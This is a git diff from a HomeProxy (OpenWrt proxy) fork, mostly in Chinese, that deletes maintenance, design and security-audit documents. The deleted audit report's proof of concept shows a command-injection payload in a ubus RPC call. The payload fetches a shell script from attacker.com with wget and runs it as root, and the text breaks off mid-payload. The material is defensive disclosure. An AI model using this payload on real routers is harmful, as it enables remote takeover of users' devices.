页面进入 `Actions` -> `Check upstream updates` -> `Run workflow` 手动检查。 -- 如果上游有新提交,会创建或更新一个带 `upstream-update` 标签的 Issue。 -- 如需邮件通知,在仓库页面 `Watch` -> `Custom` 中勾选 `Issues`,并在 GitHub 通知设置中为 watching 启用 `Email`。 -- 这个 workflow 只提醒,不会自动 merge,因为上游改动可能和自定义功能冲突。 - -收到提醒后,推荐让开发者或 AI 按下面流程操作。 - -### 1. 同步上游并合并到维护分支 - -```sh -git fetch upstream -git fetch origin -git checkout master -git merge upstream/master -``` - -容易发生冲突的文件: - -```text -htdocs/luci-static/resources/view/homeproxy/client.js -htdocs/luci-static/resources/view/homeproxy/node.js -root/etc/homeproxy/scripts/generate_client.uc -root/etc/homeproxy/scripts/outbound_tag.uc -root/etc/homeproxy/scripts/routing_target.uc -root/etc/homeproxy/scripts/node_references.uc -root/etc/homeproxy/scripts/update_subscriptions.uc -root/etc/homeproxy/scripts/homeproxy.uc -root/etc/homeproxy/scripts/migrate_config.uc -root/etc/homeproxy/scripts/firewall_pre.uc -root/etc/homeproxy/scripts/firewall_post.ut -root/etc/init.d/homeproxy -root/etc/config/homeproxy -root/usr/share/rpcd/ucode/luci.homeproxy -``` - -如果出现冲突,优先保留上游的新结构,再重新套回本仓库的自定义能力: - -- SS2022 + ShadowTLS 表单和生成逻辑。 -- 路由节点 Selector。 -- Selector 可包含具体节点和已有路由节点。 -- Selector / URLTest 路由节点支持按节点名称正则筛选节点。 -- 节点页 / 订阅页测速按钮。 -- 路由规则可直接选择具体节点。 -- HomeProxy 源配置备份 / 恢复。 -- MetaCubeXD 面板入口、Clash API 默认配置和面板代理。 -- 运行时 outbound tag 映射为节点真实名称。 -- Surge / Clash 托管配置订阅解析、TLS 证书指纹兼容策略。 -- 非 `custom` 模式下 `default_outbound` 兜底,以及订阅删除时的引用清理。 - -### 2. 本地检查 - -合并完成后先跑基础检查: - -```sh -git diff --check -sh -n install.sh -ruby -e 'require "yaml"; Dir[".github/workflows/*.yml"].each { |f| YAML.load_file(f) }; puts "yaml ok"' -``` - -如果改到了 LuCI JavaScript,建议再跑: - -```sh -node --check htdocs/luci-static/resources/homeproxy.js -node --check htdocs/luci-static/resources/view/homeproxy/client.js -node --check htdocs/luci-static/resources/view/homeproxy/node.js -``` - -### 3. 推送并等待自动构建 - -```sh -git push origin master -``` - -推送后 `Build ipk for HomeProxy` workflow 会自动构建 APK/IPK artifact,用来确认代码能正常打包。这个 workflow 不会再提交 `dist/` 文件。 - -进入 GitHub `Actions` 页面确认 `Build ipk for HomeProxy` 成功后,再发布 Release。 - -### 4. 发布新的自定义 APK - -tag 必须打在要发布的源码提交上: - -```sh -FEATURE_SHA="$(git rev-parse --short HEAD)" -TAG="custom-$(date +%Y%m%d)-${FEATURE_SHA}" -git tag -a "$TAG" -m "HomeProxy Custom ${TAG#custom-}" -git push origin "$TAG" -``` - -推送 tag 后,`Release custom APK` workflow 会发布新版 APK 到 GitHub Releases。发布后检查: - -Release 标题、APK 软件包版本和软件源描述会把 tag 中的 `YYYYMMDD-短SHA` 转成 `YYYYMMDD.HHMMSS~短SHA`,其中 `HHMMSS` 取 tag 指向提交的北京时间提交时间,例如 `custom-20260615-1b55552` 会显示为 `20260615.141105~1b55552`。日期后的时间段保证同一天连续发布时 apk-tools 能正确判断新版本大于旧版本;`~短SHA` 只作为展示和追踪用的提交标识。 - -```sh -curl -fsSL https://api.github.com/repos/itv3/homeproxy/releases/latest \ - | jq -r '.tag_name, .assets[].name, .assets[].digest' -``` - -如果上游更新提醒 Issue 还开着,确认自定义分支已经包含上游最新版后,可以关闭该 Issue。 - -## 注意 - -MetaCubeXD 的规则开关对当前 sing-box Clash API 不生效。sing-box 当前只提供 `/rules` 读取接口,没有实现 `PATCH /rules/disable` 这种运行时禁用规则的接口。 diff --git a/luci-app-homeproxy/docs/security/OUTBOUND_TAG_RENAME_DESIGN.md b/luci-app-homeproxy/docs/security/OUTBOUND_TAG_RENAME_DESIGN.md deleted file mode 100644 index 8c92ec3c1..000000000 --- a/luci-app-homeproxy/docs/security/OUTBOUND_TAG_RENAME_DESIGN.md +++ /dev/null @@ -1,436 +0,0 @@ -# 出站 Tag 可读化设计 - -> 目标: 让 MetaCubeXD / YACD / Clash API 看到真实节点名,而不是 `cfg-
-out`。 - -| 项目 | 内容 | -|---|---| -| 状态 | 已实现,待审核 | -| 日期 | 2026-06-19 | -| 分支 | `custom/homeproxy-enhancements` | -| 第一约束 | 最小入侵,上游升级友好 | -| 去重策略 | section id 字典序排序 + 先到先得(最小 section id 保留原名,其余加稳定后缀) | -| 涉及文件 | `outbound_tag.uc`、`generate_client.uc`、`luci.homeproxy_tcping` | -| 明确不改 | `clash_api_proxy.uc`;前端 `node.js`(按 label / section 展示,不读 runtime tag) | - -## 1. 问题与目标 - -HomeProxy 的 UCI section id 在节点创建时由 `md5(label)` 生成。`generate_client.uc` 当前用 section id 拼出运行时 tag: - -```ucode -tag: 'cfg-' + node['.name'] + '-out' -``` - -所以用户看到的是: - -```text -label = 🇺🇸us.CDN -tag = cfg-6f330f9c9c5ec2427b4cd7d588aab6df-out -``` - -目标: - -1. 最终 sing-box / Clash API 中的节点 outbound tag 使用当前 `label`。 -2. `label` 改名后,下次生成配置时 tag 跟随变化。 -3. 重名、空名、保留名冲突时自动处理,且结果稳定。 -4. 不改 UCI section id,不新增 UCI 字段。 -5. 不在 `generate_client.uc` 里逐处改 `cfg-...-out` 拼接逻辑。 - -## 2. 方案选择 - -采用 **rename pass**: - -1. `generate_client.uc` 继续按现有逻辑生成完整 config,内部引用仍先保持 `cfg-
-out`。 -2. 写盘前通过独立模块 `outbound_tag.uc` 构建 `cfg-
-out -> final_tag` 映射(按 section id 排序做确定性去重,见 4.1)。 -3. 对整份 config 做递归等值替换。 -4. `luci.homeproxy_tcping` 使用同一个映射函数查真实 tag。 - -这样最终产物与“源头直接生成 label tag”一致,但上游核心生成逻辑几乎不动。 - -否决项: - -| 方案 | 否决原因 | -|---|---| -| 改 UCI section id 为 label | label 可能含 emoji/中文/空格/符号,不适合作 UCI section name,且会破坏历史引用 | -| 逐处把 `cfg-...-out` 改成 helper | 触点多,容易漏掉反解、递归、selector/urltest、detour、DNS/ruleset 引用 | -| 只改 `clash_api_proxy.uc` 展示层 | 真实 sing-box tag 不变,WebSocket/SSE/日志/直连 API/tcping 仍会看到旧 tag | - -## 3. 已确认约束 - -### 3.1 rename pass 不会破坏内部反解 - -`generate_client.uc` 里存在 `/^cfg-(.+)-out$/` 反解逻辑,但它运行在 config 写盘之前,处理的是 UCI 字段或中间计算值。rename pass 发生在所有配置生成完成后,所以不影响这些反解逻辑。 - -### 3.2 必须全局去重 - -`node` 和 `routing_node` 的 label 唯一性是分表校验,两张表之间可以同名。两者又都可能生成 visible outbound tag,所以 final tag 必须在同一个命名空间里去重。 - -重名的真实来源(说明为何 `node` 表也要参与去重): - -1. **手动改名**: section id 在创建时由 `md5(label)` 定死,之后不随 `label` 变化。用户在 LuCI 手动编辑某节点 `label`,可能与另一节点当前 `label` 撞车,于是同一张 `node` 表里出现“同 label、不同 section id”。 -2. **跨表同名**: `node` 与 `routing_node` 之间。 -3. **分组之间**: 多个 `routing_node` 之间。 - -> 同一订阅导入流程内不会产生同 label 共存——因为 section id = `md5(label)`,同名会落到同一 section(后者覆盖 / 跳过),这部分见 6.1。 - -### 3.3 `routing_node` 只纳入会生成自身 tag 的项 - -只纳入: - -```text -enabled == '1' && node in ['selector', 'urltest'] -``` - -原因: - -| `routing_node.node` | 运行时产物 | -|---|---| -| `urltest` | 生成 `cfg--out` | -| `selector` | 生成 `cfg--out` | -| 普通节点 section | 只生成被引用节点的 `cfg--out`,不生成 routing_node 自身 tag | - -如果把所有 `routing_node` 都纳入去重,未启用或直引用型分组可能导致节点 tag 被无意义地加后缀。 - -### 3.4 ShadowTLS 必须显式映射 - -当前中间层 tag 是: - -```ucode -const shadowtls_tag = tag + '-shadowtls'; -``` - -当旧主 tag 是 `cfg-
-out` 时,中间层为 `cfg-
-out-shadowtls`。递归替换必须新增一条完整映射: - -```text -cfg-
-out -> final_tag -cfg-
-out-shadowtls -> final_tag + '-out-shadowtls' -``` - -不能依赖子串替换。中间层仍以 `-out-shadowtls` 结尾,所以 `clash_api_proxy.uc` 的隐藏逻辑可保持 0 改动。 - -### 3.5 `luci.homeproxy_tcping` 必须同步 - -`luci.homeproxy_tcping` 直连 `clash_api_external_controller` 对应的真实 sing-box Clash API,不经过 `clash_api_proxy.uc`。它当前硬编码 `cfg-
-out`,tag 改名后必须用共享映射查 final tag。 - -### 3.6 空 label 必须回退 - -`removeBlankAttrs()` 会删除空字符串字段。若 tag 被映射成空字符串,最终 outbound 会丢失 `tag` 字段。因此: - -```text -空 label -> cfg-
-out -``` - -rename pass 必须在 `removeBlankAttrs(config)` 之前执行。 - -## 4. 实现规格 - -### 4.1 `outbound_tag.uc`:新增共享映射模块 - -新增导出函数: - -```ucode -export function build_outbound_tag_map(uci) { ... } -``` - -该模块安装为 `/etc/homeproxy/scripts/outbound_tag.uc`,自包含,不依赖 `homeproxy.uc`,以降低核心公共工具文件的上游合并冲突。 - -调用方负责先加载 `homeproxy` UCI。函数返回: - -```text -{ section_id: final_tag } -``` - -函数内部约定(固定不变,便于两个进程复现同一结果): - -- 使用 `uciconfig = 'homeproxy'`、section type `'node'` 与 `'routing_node'`、读取字段 `cfg.label`。 -- 调用方只需保证已 `uci.load('homeproxy')`(generate_client 与 tcping 均已加载)。 - -收集范围: - -1. 全部 `node` section。 -2. 仅当 `routing_mode == 'custom'` 时,收集 `enabled == '1' && node in ['selector', 'urltest']` 的 `routing_node` section。 - -#### 4.1.1 sanitize(label) - -final tag 原样采用 `label`:sing-box 与 Clash 系面板均支持 UTF-8,emoji / 中文 / 空格 / `+` / `.` / `#` 等可直接作为 tag。tcping 与 `clash_api_proxy.uc` 的 `/group//delay`、`/proxies//delay` 路径都已对名字做 urlencode / pathSegment,URL 层安全。 - -仅做一处最小清洗:**去除控制字符(码位 `< 0x20`)和 `DEL`(`0x7f`)**,避免破坏 JSON 字符串与日志输出。清洗后若为空串,按“空 label”回退。 - -> 后缀分隔符选用 ` #`(空格 + 井号)。`#` 在 Clash 生态常用作备注分隔,作为显示名可接受;其在 URL 中的 fragment 语义已被上述 urlencode 规避。 - -#### 4.1.2 确定性去重:section id 排序 + 先到先得 - -这是保证 generate_client 与 tcping 两个进程结果一致、且增删节点时尽量稳定的核心算法,**必须严格按此实现**: - -1. **收集**参与项,每项为 `{ section, label }`(范围见上)。 -2. **排序**: 按 `section`(UCI section id 字符串)做**字典序升序**,得到与遍历顺序无关的确定处理次序。 -3. **初始化 `used_tags`**: 预占用全部保留 tag 与动态 tag(见 4.2)。 -4. **按排序次序逐项分配** final tag: - - `base = sanitize(label)`;若为空 → `base = 'cfg-' + section + '-out'`,登记入 `used_tags` 后跳过。 - - 若 `base` **命中下列任一冲突条件**,或 `base` 已在 `used_tags` 中 → 改用带后缀形式;否则 `final = base`。 - - 带后缀形式 `final = base + ' #' + substr(section, 0, 6)`;若仍冲突,**逐步增加 section 前缀长度**直到完整 `section`。 - - 若完整 `section` 后缀仍冲突,继续使用确定性数字兜底:`base + ' #' + section + '-2'`、`-3`...直到无冲突。 - - 将 `final` 写入 `used_tags`,并记入返回表。 - -“先到先得”的含义: 同名 label 的多个 section 中,**section id 字典序最小者最先被处理,拿到无后缀的 `label`**;其余同名项发现已被占用,各自加 `#<自己 section 前缀>`。因此每个 section 的 final tag 只取决于(它自己的 label、它自己的 section id、是否存在字典序更小的同名 section),增删无关节点不改变结果。 - -冲突条件(命中即必须加后缀): - -| 条件 | 说明 | -|---|---| -| `base` 已被 `used_tags` 占用 | 涵盖重名、撞保留 tag、撞动态 tag | -| 匹配 `^cfg-.+-out$` | 避免落回旧 outbound 命名空间 | -| 匹配 `^cfg-.+-out-shadowtls$` | 避免与 ShadowTLS 中间层旧命名空间重叠 | -| 匹配 `^cfg-.+-dns$` | 避免落入内部 DNS server 命名空间 | -| 匹配 `^cfg-.+-rule$` | 避免落入内部 rule_set 命名空间 | -| 以 `-out-shadowtls` 结尾 | 同上,防御性 | - -后缀使用 `section` 前缀,不再对 `section` 做二次 `md5()`:订阅节点的 section 本身已是稳定 md5,手动分组 section 也足够稳定。 - -### 4.2 保留 tag 占用集 - -初始化 `used_tags` 时必须预占用固定 tag 和动态 tag。这样即使用户把节点 label 命名成这些值,也会自动加后缀。 - -固定 tag: - -```text -direct-out -block-out -GLOBAL -any -main-out -main-udp-out -default-dns -system-dns -main-dns -china-dns -dns-in -mixed-in -redirect-in -tproxy-in -tun-in -direct-domain -proxy-domain -geoip-cn -geosite-cn -geosite-noncn -__homeproxy_delay_test__ -``` - -如果未来代码新增固定 tag,也应加入占用集。 - -动态 tag: - -```text -cfg--dns -cfg--rule -``` - -这些不是 outbound tag,但最终 JSON 里也会出现为 tag。为了避免跨对象 tag 碰撞,一并预占用。 - -额外约束: - -1. `final tag` 不允许匹配 `^cfg-.+-out$`,避免单次 rename pass 后出现“新 tag 仍落在旧 outbound 命名空间里”的链式映射歧义。 -2. `final tag` 不允许匹配 `^cfg-.+-out-shadowtls$`,避免与 ShadowTLS 中间层旧命名空间重叠。 -3. `final tag` 不允许以 `-out-shadowtls` 结尾(与 4.1.2 冲突条件一致)。 -4. `final tag` 不允许匹配 `^cfg-.+-dns$` / `^cfg-.+-rule$`,把 `cfg-*` 内部 DNS/ruleset 命名空间整体留给 HomeProxy。 - -> 关于命名空间: sing-box 中 outbound / endpoint 共享同一引用命名空间,而 DNS server、inbound、rule_set 各自独立。严格说把 `*-dns` / `*-in` / `*-rule` 等纳入 `used_tags` 并非全部必需;此处刻意从严预占用,以规避面板展示混淆与未来 sing-box 行为变化,属保守设计,无副作用。 - -### 4.3 `generate_client.uc`:写盘前 rename pass - -新增 import: - -```ucode -import { build_outbound_tag_map } from 'outbound_tag'; -``` - -`generate_client.uc` 运行时已有 `/etc/homeproxy/scripts` 模块搜索路径,因此使用模块名导入即可。 - -在 `removeBlankAttrs(config)` 之前执行: - -```ucode -let tag_map = build_outbound_tag_map(uci); -let rename = {}; - -for (let section in tag_map) { - let old_tag = 'cfg-' + section + '-out'; - let final_tag = tag_map[section]; - - rename[old_tag] = final_tag; - rename[old_tag + '-shadowtls'] = final_tag + '-out-shadowtls'; -} - -rename_tags(config, rename); - -/* 防御性: rename 后断言 outbound/endpoint tag 全局唯一。 - * 正常情况下 4.1.2 的去重已保证唯一,此处仅兜底,避免万一的 bug - * 把含重复 tag 的非法配置写盘、覆盖掉上一份可用配置。 */ -assert_unique_outbound_tags(config); /* 命中重复 → reportError */ - -if (hasErrors()) { - warn('HomeProxy 配置验证发现以下问题:\n\n' + formatErrors()); - warn('为避免用无效配置覆盖当前可用配置,本次未写入新配置。\n'); - exit(1); -} - -system('mkdir -p ' + RUN_DIR); -writefile(RUN_DIR + '/sing-box-c.json', sprintf('%.J\n', removeBlankAttrs(config))); -``` - -`rename_tags()` 必须是递归等值替换: - -```ucode -function rename_tags(value, rename) { - let t = type(value); - - if (t === 'object') { - for (let k in value) - value[k] = rename_tags(value[k], rename); - return value; - } - - if (t === 'array') - return map(value, (v) => rename_tags(v, rename)); - - if (t === 'string') - return (value in rename) ? rename[value] : value; - - return value; -} -``` - -`assert_unique_outbound_tags()` 收集 `outbounds[].tag` 与 `endpoints[].tag`,发现重复即 `reportError`,交由既有 `hasErrors()` 流程拦截: - -```ucode -function assert_unique_outbound_tags(config) { - let seen = {}; - let all = [ ...(config.outbounds || []), ...(config.endpoints || []) ]; - - for (let o in all) { - let t = (type(o) === 'object') ? o.tag : null; - if (t == null) - continue; - if (seen[t]) - reportError('error', - sprintf('rename 后出现重复 outbound tag: %s', t), - '通常意味着去重算法异常;请附带节点 label / section 列表反馈'); - seen[t] = true; - } -} -``` - -要求: - -1. 只替换与 key 完全相等的字符串,禁止子串替换。 -2. 自动覆盖 `outbounds[].tag`、WireGuard `endpoints[].tag`、selector/urltest 成员、`default`、`detour`、`download_detour`、`route.final`、`route.rules[].outbound`、DNS `detour`。 -3. 不替换 `cfg-
-dns`、`cfg-
-rule`、内置 tag、`__homeproxy_delay_test__`。 -4. rename pass 之后必须**仍能再次拦截错误**:做一次 final outbound / endpoint tag 唯一性断言,命中重复则 `reportError` 并在写盘前 `hasErrors()` 复检,沿用既有“绝不用坏配置覆盖好配置”策略。 - -已知权衡: - -- 全局递归等值替换是刻意选择的低入侵方案,避免逐字段改生成逻辑时漏掉 selector/urltest、detour、rule_set download_detour、DNS detour 等引用。 -- 它只做**完整字符串相等**替换,不做 JSON 字符串级子串替换,因此不会把 `cfg-xxx-out-shadowtls` 误改成 `label-shadowtls`。 -- 低概率风险:若某个非 tag 字段的值刚好完整等于旧 tag(例如密码、SNI、header、path 为 `cfg-
-out`),也会被替换。当前接受此 trade-off;若未来出现真实误伤,再评估改为字段白名单替换。 - -### 4.4 `luci.homeproxy_tcping`:复用映射 - -把 4 处 `'cfg-' + section + '-out'` 改为: - -```ucode -import { build_outbound_tag_map } from '/etc/homeproxy/scripts/outbound_tag.uc'; - -let tag_map = build_outbound_tag_map(hpuci); - -function nodeTag(tag_map, section) { - return tag_map[section] || ('cfg-' + section + '-out'); -} -``` - -导入方式需要真机验证: - -1. 首选与生成器一致的公共函数,避免双份算法漂移。 -2. rpcd ucode 环境使用绝对路径导入 `/etc/homeproxy/scripts/outbound_tag.uc`,避免依赖模块搜索路径。 -3. 只有在目标环境确实无法共享 import 时,才考虑内联同一算法,并必须增加一致性验证。 - -RPC 入参边界: - -- `sections` 必须是数组,且每个元素必须是非空字符串。 -- section 只允许 `[A-Za-z0-9_]`,长度不超过 128。 -- 重复 section 只处理一次,避免重复测速请求。 -- 只接受真实 `node` section;其他 section type 按“节点不存在”处理。 - -### 4.5 `clash_api_proxy.uc`:不改 - -只要 ShadowTLS 中间层仍以 `-out-shadowtls` 结尾,现有过滤逻辑继续生效。不要把展示层代理扩展成双向 rename 层。 - -## 5. 验证清单 - -### 5.1 静态检查 - -- [ ] `build_outbound_tag_map()` 对同一份 UCI 在生成器和 tcping 中结果一致。 -- [ ] `routing_node` 只在 `routing_mode == 'custom'` 时收集启用的 `selector` / `urltest` 型分组。 -- [ ] 空 label 回退到 `cfg-
-out`。 -- [ ] reserved tag 和动态 `cfg-*-dns` / `cfg-*-rule` 均被预占用。 -- [ ] `GLOBAL` / `any` 等 Clash API / sing-box 特殊名被预占用。 -- [ ] final tag 不允许命中 `^cfg-.+-out$`。 -- [ ] final tag 不允许命中 `^cfg-.+-dns$` / `^cfg-.+-rule$`。 -- [ ] final tag 不允许以 `-out-shadowtls` 结尾。 -- [ ] final tag 不允许命中 `^cfg-.+-out-shadowtls$`。 -- [ ] ShadowTLS 映射使用 `final_tag + '-out-shadowtls'`。 -- [ ] rename pass 在 `removeBlankAttrs()` 之前执行。 -- [ ] rename pass 只做等值替换。 -- [ ] 去重按 section id 字典序排序后先到先得,结果与遍历顺序无关。 -- [ ] label 仅清洗控制字符和 `DEL`(`0x7f`),emoji / 中文 / 空格 / `#` 等原样保留;清洗后为空则回退。 -- [ ] 后缀短前缀、完整 section 后缀均冲突时,使用 `-2` / `-3` 等确定性兜底且仍保持唯一。 -- [ ] rename 后做 final outbound / endpoint tag 全局唯一性断言,重复则纳入 `hasErrors()`。 -- [ ] `generate_client.uc` 能通过 `from 'outbound_tag'` 导入共享模块。 -- [ ] `luci.homeproxy_tcping` 能通过 `/etc/homeproxy/scripts/outbound_tag.uc` 绝对路径导入共享模块。 -- [ ] `luci.homeproxy_tcping` 拒绝非字符串、空字符串、超长、非法字符 section,并只处理真实 `node` section。 - -### 5.2 运行验证 - -1. 生成 `/var/run/homeproxy/sing-box-c.json` 并通过 `sing-box check`。 -2. 检查 `outbounds[].tag` 和 `endpoints[].tag`,普通节点显示真实 label。 -3. 检查所有 tag 无重复。 -4. 在 `custom` 模式构造 `node` 与 `routing_node` 同名,确认按 section id 排序:较小者保留原名,较大者加稳定后缀且配置可用。 -5. 构造空 label,确认 tag 没被删。 -6. 验证 WireGuard endpoint tag 被替换。 -7. 验证 ShadowTLS 主节点 detour 与中间层 tag 一致,且中间层仍被 `clash_api_proxy.uc` 隐藏。 -8. MetaCubeXD `/proxies`、Connections、节点切换均显示并使用真实 tag。 -9. LuCI 节点测速正常返回延迟。 -10. 修改 label 后重新生成,确认 tag 跟随变化。 -11. 手动把某节点 label 改成与另一节点相同(同 label、不同 section id),确认按 section id 排序:较小者保留原名,较大者加 ` #` 后缀,且两者都可用。 -12. 构造含 emoji / 空格 / `#` / `/` 的 label,确认配置可过 `sing-box check`,面板可正常切换与测速。 -13. 200+ 节点规模下确认 rename 正确且耗时可接受。 -14. 真机比对 `build_outbound_tag_map()` 在 generate_client 与 tcping 两侧对同一 section 的输出逐一一致。 -15. 在非 `custom` 模式保留启用的 selector/urltest `routing_node`,确认它不参与去重、不导致真实节点无意义加后缀。 -16. 构造恶意 suffix 占用:先占用 `foo`、`foo #
` 到 `foo #<完整 section>`,确认重复节点最终使用 `foo #<完整 section>-2` 等兜底且无重复。 - -## 6. 用户可见副作用 - -1. 首次升级后,`bypass_mainland_china` / `custom` 模式下 sing-box cache 中旧的 selector 选中态会失效一次,需要重新选择节点。 -2. 依赖旧 `cfg-
-out` 的外部脚本需要改用真实 label。 - -## 6.1 明确不解决的范围 - -1. 本次改动只解决“已存在于 UCI 的 section 如何映射为可读 runtime tag”,不改变 `UCI section id` 的生成规则。 -2. 订阅导入阶段仍按现有逻辑以 `md5(label)` 参与去重与命名;因此“同一订阅导入流程里允许多个同 label 节点共存”不属于本次 rename pass 的解决范围。 -3. 如需放宽订阅导入阶段对同 label 的去重,应单独评估 `update_subscriptions.uc` 的数据模型与兼容性,不与本次显示层可读化改动耦合。 - -## 7. 实施顺序 - -1. 新增 `outbound_tag.uc`,导出 `build_outbound_tag_map()`。 -2. 在 `generate_client.uc` 接入 rename pass 并验证生成配置。 -3. 在 `luci.homeproxy_tcping` 接入同一映射并验证测速。 -4. 复核 `clash_api_proxy.uc` 保持 0 改动。 - -## 8. 不变量 - -```text -UCI section id = 内部主键,不改 -final outbound tag = 当前 label 经全局去重后的结果(section id 排序 + 先到先得) -ShadowTLS tag = final outbound tag + '-out-shadowtls' -替换方式 = 写盘前递归等值替换 -唯一性 = rename 后 outbound / endpoint tag 全局唯一(断言兜底) -共享要求 = generate_client 与 tcping 使用同一映射算法 -``` diff --git a/luci-app-homeproxy/docs/security/SECURITY_AUDIT_CHECKLIST.md b/luci-app-homeproxy/docs/security/SECURITY_AUDIT_CHECKLIST.md deleted file mode 100644 index a6847e4b1..000000000 --- a/luci-app-homeproxy/docs/security/SECURITY_AUDIT_CHECKLIST.md +++ /dev/null @@ -1,138 +0,0 @@ -# HomeProxy 安全修复审核清单 - -**审核分支**: `security-fixes-20260614` -**提交范围**: `custom/homeproxy-enhancements..security-fixes-20260614`(共 6 轮复核,提交数以 `git log` 为准) -**修复项目**: 20/20 全部完成 -**详细文档**: 见 `SECURITY_FIXES_IMPLEMENTATION.md` - ---- - -## ✅ 必须审核的安全关键修复 - -### 1. 命令注入 RCE (U-H1) - Critical -**文件**: `root/usr/share/rpcd/ucode/luci.homeproxy:800` -- [ ] 确认 `shellquote()` 函数正确包裹用户输入 -- [ ] 测试特殊字符(`; $ | & ` 等)是否被正确转义 - -### 2. 安装脚本信任链 (C-H1) - Medium -**文件**: `install.sh` -- [ ] 确认公钥指纹硬编码且正确 -- [ ] 确认 fallback 路径先验证签名再安装 -- [ ] 确认移除了 `--allow-untrusted` 标志 - -### 3. RPC 权限边界 (C-M1) - Medium -**文件**: `root/usr/share/rpcd/acl.d/luci-app-homeproxy.json` -- [ ] 确认 read 权限只包含 3 个只读方法 -- [ ] 确认 write 权限包含所有写入方法 -- [ ] 确认没有遗漏的方法 - -### 4. 路径穿越 (N-M1) - Medium -**文件**: `root/usr/share/rpcd/ucode/luci.homeproxy:871` -- [ ] 确认白名单只包含 4 个资源类型 -- [ ] 测试非白名单类型是否被拒绝 - -### 5. 备份完整性校验 (C-M3) - Low -**文件**: `root/usr/share/rpcd/ucode/luci.homeproxy` -- [ ] 确认 SHA-256 计算逻辑正确 -- [ ] 确认恢复时验证逻辑完整 -- [ ] 测试篡改备份文件是否能被检测 - ---- - -## ✅ 需要功能测试的修复 - -### 6. 临时文件随机化 (C-L1) -**测试步骤**: -1. [ ] WebUI 生成备份 → 检查文件名是否随机 -2. [ ] 上传备份文件 → 检查路径是否随机 -3. [ ] 恢复备份 → 检查功能是否正常 -4. [ ] 多次备份 → 确认文件名不冲突 - -### 7. 服务验证回滚 (C-L2) -**测试步骤**: -1. [ ] 恢复正常备份 → 服务应正常启动 -2. [ ] 恢复损坏配置 → 应自动回滚 -3. [ ] 检查回滚后配置是否恢复 - -### 8. Clash API 资源限制 (C-H2, C-L4) -**测试步骤**: -1. [ ] 并发 65 个连接 → 第 65 个应被拒绝 -2. [ ] 发送超大请求 (>256KB) → 应断开连接 -3. [ ] 保持连接 idle 超过 30 秒 → 应超时断开 - ---- - -## ✅ 代码质量审核(可选) - -### 9. 代码重构 (2.11-2.13, 2.15) -- [ ] `generate_outbound` 拆分是否合理 -- [ ] 表单字段工厂函数是否可用 -- [ ] 错误收集机制是否完整 -- [ ] Clash API 注释是否清晰 - -### 10. CI/CD 优化 (2.16-2.17) -- [ ] apk-tools 缓存是否生效 -- [ ] 语法检查是否正常运行 -- [ ] 私钥清理 trap 是否正确 - ---- - -## 🔍 快速验证命令 - -```bash -# 1. 检查关键文件修改(相对主分支的完整改动) -git diff custom/homeproxy-enhancements..security-fixes-20260614 --stat - -# 2. 查看 shellquote 使用 -grep -n "shellquote" root/usr/share/rpcd/ucode/luci.homeproxy - -# 3. 查看 ACL 配置 -cat root/usr/share/rpcd/acl.d/luci-app-homeproxy.json | jq . - -# 4. 查看资源类型白名单 -grep -A5 "allowed_types" root/usr/share/rpcd/ucode/luci.homeproxy - -# 5. 验证语法 -sh -n install.sh -node --check htdocs/luci-static/resources/view/homeproxy/backup.js -node --check htdocs/luci-static/resources/view/homeproxy/client.js -# ucode 脚本(node 仅做基础语法检查,ucode≠ESM,不能替代真机或 ucode -c) -node --check --input-type=module < root/etc/homeproxy/scripts/generate_client.uc -node --check --input-type=module < root/etc/homeproxy/scripts/clash_api_proxy.uc -sed 's/^return /export default /' root/usr/share/rpcd/ucode/luci.homeproxy | node --check --input-type=module -``` - ---- - -## 📋 审核通过标准 - -- [ ] 所有 5 个安全关键修复已审核通过 -- [ ] 功能测试 3 项通过(C-L1, C-L2, C-H2/C-L4) -- [ ] 快速验证命令无错误 -- [ ] 代码风格符合项目规范 -- [ ] 无明显的逻辑错误或遗漏 - ---- - -## 🚀 审核通过后操作 - -```bash -# 1. 合并到主分支 -git checkout custom/homeproxy-enhancements -git merge security-fixes-20260614 --no-edit - -# 2. 推送到远程 -git push origin custom/homeproxy-enhancements - -# 3. 触发 CI 构建 -# GitHub Actions 会自动运行 - -# 4. 等待 CI 完成后创建 Release -``` - ---- - -**审核人**: _______________ -**审核日期**: _______________ -**审核结果**: [ ] 通过 [ ] 需要修改 -**备注**: _______________ diff --git a/luci-app-homeproxy/docs/security/SECURITY_AUDIT_FINAL.md b/luci-app-homeproxy/docs/security/SECURITY_AUDIT_FINAL.md deleted file mode 100644 index e48f6e703..000000000 --- a/luci-app-homeproxy/docs/security/SECURITY_AUDIT_FINAL.md +++ /dev/null @@ -1,686 +0,0 @@ -# HomeProxy 安全审计与优化报告 v3.0 (最终版) - -**审计日期**: 2026-06-14 -**审计方法**: 独立核查 + 对抗式复核 + 同类模式扫描 -**审计人员**: Claude Code AI + 第三方安全工程师 -**工作流**: 25 个独立代理 × 30 分钟深度核查 - ---- - -## 📊 执行概要 - -本报告共确认 **20 个结构化条目**:上游问题 2 个,自定义问题与优化建议 18 个。完整统计见末尾“最终汇总”。 - -- **核心风险**: 高危 1 个,即 1.1 U-H1 `sing-box generate` 命令注入 RCE(CVSS 9.8)。 -- **重要修正**: 2.1 C-H1、2.2 C-M1 均按 Medium 处理;2.4 C-M6 不作为漏洞计入;2.5 C-H2 降级为 Clash API 代理资源限制加固项;2.10 N-M1 保持 Medium,但限定为受限路径穿越读取。 -- **处理原则**: 上游问题优先报告并尽量保持本地补丁最小化;自定义部分 2.1 至 2.18 全部接纳修复或优化。 -- **定级边界**: 2.1、2.2、2.5、2.8、2.10 等严重度按当前默认部署和威胁模型评估;多用户 LuCI、暴露到不可信网络、自托管 runner 等场景应重新定级。 - ---- - -# 第一部分:上游问题 - -本部分仅记录上游代码中确认存在的问题。修复原则是:优先向上游报告并推动上游修复;本地如需临时修复,应尽量保持补丁最小化,避免影响后续跟随上游升级。 - -## 1.1 🔴 U-H1: sing-box generate 命令注入(RCE) - -**严重程度**: 🔴 Critical -**CVSS 评分**: 9.8 -**文件**: `root/usr/share/rpcd/ucode/luci.homeproxy:501` -**来源**: immortalwrt/homeproxy (上游) -**发现者**: 第三方安全工程师 -**核查状态**: ✅ 已独立验证 - -### 漏洞描述 -`singbox_generator` RPC 方法将用户输入 `params` 未加引号直接拼接到 shell 命令中。 - -### 漏洞代码 -```javascript -// line 501 -const fd = popen('/usr/bin/sing-box generate ' + type + ` ${req.args?.params || ''}`); -``` - -### 核查发现 -``` -✅ 漏洞真实存在 -✅ 代码库其他位置正确使用 shellquote()(208、265、580 行) -✅ 可被任何认证用户利用 -✅ 以 root 权限执行 -``` - -### PoC (概念验证) -```bash -ubus call luci.homeproxy singbox_generator '{ - "type": "ech-keypair", - "params": "example.com; wget http://attacker.com/shell.sh -O /tmp/x && sh /tmp/x #" 